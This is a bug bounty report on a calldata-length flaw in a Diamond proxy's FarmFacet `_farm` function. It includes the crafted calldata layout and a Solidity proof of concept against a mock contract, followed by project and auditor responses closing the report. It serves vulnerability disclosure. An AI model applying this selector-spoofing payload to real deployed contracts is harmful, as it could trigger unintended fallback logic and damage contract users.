Bypassing facets registry in a `farm` function
Report ID
#12421
Target
Report type
Smart Contract
Impacts
Contract fails to deliver promised returns, but doesn't lose value
Has PoC?
Yes
Bug Description
There is _farm
function in a FarmFacet
contract that performs a delegatecall
on facet address. Here is the way how the facet address is calculated:
bytes4 functionSelector;
assembly {
functionSelector := calldataload(data.offset)
}
address facet = ds
.selectorToFacetAndPosition[functionSelector]
.facetAddress;
In case when the length of data
array is smaller than 4 bytes calldataload
will read the rest from calldata
, which in general case can store arbitrary data. So it is possible to manipulate the value of functionSelector
in case of such short data array.
Attack scenario
- Diamond proxy has just a standard selector, like
0x11223344
. - Vulnerable facet has a fallback function.
- It is not expected that someone can call this fallback function, since the diamond hasn't been set zero selector as a valid one.
Then it is possible to call _farm
with data
equals to concatenation of the following parts:
0000000000000000000000000000000000000000000000000000000000000020
(means data offset)
0000000000000000000000000000000000000000000000000000000000000000
(means data length)
11223344
(additional content of calldata using which functionSelector
will be determined)
So the diamond proxy will find a facet and make a dellegatecall to the address of facet. Finally, the facet will not recognize empty calldata as a call with some selector and, as result, will execute the fallback funciton logic.
Recommended Mitigation Steps
Consider adding an additional check on the length of message data to enforce that it has at least 4 bytes.
Proof of concept
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma experimental ABIEncoderV2;
pragma solidity =0.7.6;
contract FarmFacetMock {
function _farm(bytes calldata data) public {
bytes4 functionSelector;
assembly {
functionSelector := calldataload(data.offset)
}
require(data.length == 0);
require(functionSelector == bytes4(0x11223344));
}
}
contract PoC {
FarmFacetMock public farmFacetMock;
constructor() {
farmFacetMock = new FarmFacetMock();
}
function hack() external {
bytes memory data = abi.encodePacked(
FarmFacetMock._farm.selector,
bytes32(0x0000000000000000000000000000000000000000000000000000000000000020), // offset
bytes32(0x0000000000000000000000000000000000000000000000000000000000000000), // length
bytes32(0x1122334400000000000000000000000000000000000000000000000000000000) // additional calldata
);
(bool s, ) = address(farmFacetMock).call(data);
require(s);
}
}
BIC Response
This is not a security bug report because there is currently no facet with a fallback function.
Due to this reason, we are closing the submission and no reward will be issued.
Halborn Response
this is actually true but it is present already in every Diamond proxy as the Diamond proxy code does not really validate msg.sig
length
that being said, currently there is no facet with a fallback function and I don't really see why you would want to add one
so its a bit your choice what to do here. I would say that if you consider adding any facets with a fallback function in the future you should add this check